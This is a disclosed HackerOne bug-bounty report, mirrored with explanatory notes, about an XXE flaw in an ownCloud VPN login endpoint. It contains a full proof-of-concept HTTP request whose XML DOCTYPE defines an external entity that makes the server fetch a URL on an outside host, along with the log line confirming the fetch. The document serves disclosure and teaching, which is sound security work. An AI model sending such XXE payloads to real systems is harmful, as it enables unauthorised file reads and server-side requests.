Skip to content
RCE Disclosed report Intermediate

XXE at host vpn.owncloud.com

The XML parser on the login endpoint was configured to allow external entities, so an attacker could make the server read local files or send HTTP requests to arbitrary hosts. The report demonstrates a request that caused the server to fetch a URL from an attacker-controlled domain.

d0znpp Follow

Originally disclosed on HackerOne

  • Triaged in 24 hours
  • Fixed in 10 days
  • Disclosed after 40 days

Improper XML parser configuration provide attacker to read arbitrary files and make HTTP requests from server side.

Exploit example is listed below:

POST /user/login HTTP/1.1
Host: 144.76.105.208
Accept: */*
Content-type: application/xml
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 163

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % select SYSTEM "http://wallarm.tools/ok">
%select;
]>
<a>wlrm-scnr</a>

From access.log on this server: 2a01:4f8:192:50d6::2 - - [18/Dec/2015:21:11:47 +0300] "GET /ok HTTP/1.0" 200 227 "-" "-"

The original report as published on HackerOne, by d0znpp. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could read arbitrary files from the server and make HTTP requests from the server side.

What the attacker needed

Access to the login endpoint

How it was found

  1. Send a POST request to the login endpoint with an XML body containing a DOCTYPE that defines an external parameter entity pointing to an attacker-controlled URL.
  2. Observe the server making an HTTP request to that URL, as shown in the access log.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

XML allows defining 'entities' that can point to external resources. If a parser is not configured to block these, an attacker can make the server fetch a URL or read a local file. This is called XXE (XML External Entity) injection.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by d0znpp

View all

1 more disclosed report, best first.

More from ownCloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.